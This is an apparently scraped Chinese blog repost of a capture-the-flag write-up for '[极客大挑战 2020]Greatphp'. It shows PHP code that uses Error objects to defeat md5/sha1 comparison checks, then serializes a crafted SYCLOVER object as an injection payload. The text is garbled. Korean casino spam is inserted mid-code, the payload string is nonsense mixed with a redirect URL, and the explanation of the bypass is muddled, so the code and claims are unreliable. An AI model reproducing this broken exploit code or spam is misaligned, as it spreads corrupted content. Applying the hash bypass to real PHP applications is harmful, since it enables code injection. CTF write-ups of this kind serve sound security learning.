博客
关于我
[极客大挑战 2020]Greatphp
阅读量:797 次
发布时间:2019-03-25

本文共 1193 字,大约阅读时间需要 3 分钟。

如何利用PHP原生类与Error类绕过MD5和SHA1检测

一、Error类绕过MD5和SHA1检测

Error类在PHP中提供了一个独特的__toString()方法,可以将对象转换为字符串。这一特性被广泛用于绕过MD5和SHA1等哈希函数的验证。

原理说明

-Error类的__toString()方法会自动触发哈希函数的计算,当对Error实例调用md5()或sha1()函数时,这些函数会调用__toString()方法,进而绕过了传统的哈希值验证逻辑。

实验结果
$a = new Error("payload", 1);$b = new Error("payload", 2); 카지노사이트 echo $a; echo "
"; echo $b; echo "
"; if ($a != $b) { echo "a!=b"; echo "
"; } if (md5($a) === md5($b)) { echo "md5相等"; echo "
"; } if (sha1($a) === sha1($b)) { echo "sha1相等"; }

结果显示对Error对象的MD5和SHA1检测结果均与原本字符串一致,验证了此绕过方法的有效性。

二、基于类的利用实例

基于类的利用是通过将目标字符串字段赋值为自身对象的方法实现代码注入。以下是一个实际案例:

$str = "->?<?phpogrpnslahtू coch Maintain u Tư       husband-in-law.dInserted from: https://www.google.com/url?q=https%3A%2F%2Fcdnjs.cloudflare.com%2Fapi%2Fjson%2Fsamples%2Fphp%2Fclasses/demo.json&source=bloomberg&oe=UTF-8&sha=RgmgYwLCp_LOC-i antioxidant<
"; // Slot your payload here$a = new Error($str, 1);$b = new Error($str, 2);$c_raw = new SYCLOVER();$c_raw->syc = $a;$c_raw->lover = $b;// Serialize and display resultecho urlencode(serialize($c_raw));

这段代码通过构造精度高的字符串,成功绕过了传统的值验证逻辑,最终实现了代码注入。

三、总结

该技术利用PHP内置类功能,结合特定字符串处理技巧,对传统防护逻辑进行了巧妙绕过,是现代Web应用安全中值得注意的攻击方法之一。

转载地址:http://ylouk.baihongyu.com/

你可能感兴趣的文章
python+flask计算机毕业设计高校运动会(程序+开题+论文)
查看>>
python+flask计算机毕业设计高校选课系统(程序+开题+论文)
查看>>
Python+Jenkins+Allure Report接口自动化测试持续集成
查看>>
python+locust电商全流程性能测试
查看>>
Python函数运行的可执行文件的终端输出如何以一般方式静音?
查看>>
Python+Pytest+Allure+Git+Jenkins接口自动化框架
查看>>
python+pytest接口自动化 —— 参数关联
查看>>
python+pytest接口自动化 —— 参数关联
查看>>
Python+pytest接口自动化 —— 接口测试基础
查看>>
python+pytest接口自动化 —— 自动化用例编写思路 (使用pytest编写一个测试脚本)
查看>>
Python+pytest接口自动化之cookie绕过登录(保持登录状态)
查看>>
python+pytest接口自动化:接口测试
查看>>
Python+requests+unittest执行接口自动化测试详情
查看>>
Python+requests+unittest执行接口自动化测试详情
查看>>
python+requests+unittest执行自动化接口测试!
查看>>
Python+Requests编码识别Bug
查看>>
python函数编写_[零基础学python]传说中的函数编写条规
查看>>
Python+selenium —— UI自动化之鼠标操作
查看>>
python函数注释,参数后面加冒号:,函数后面的箭头→是什么?
查看>>
Python+Selenium+Threading进行兼容性测试
查看>>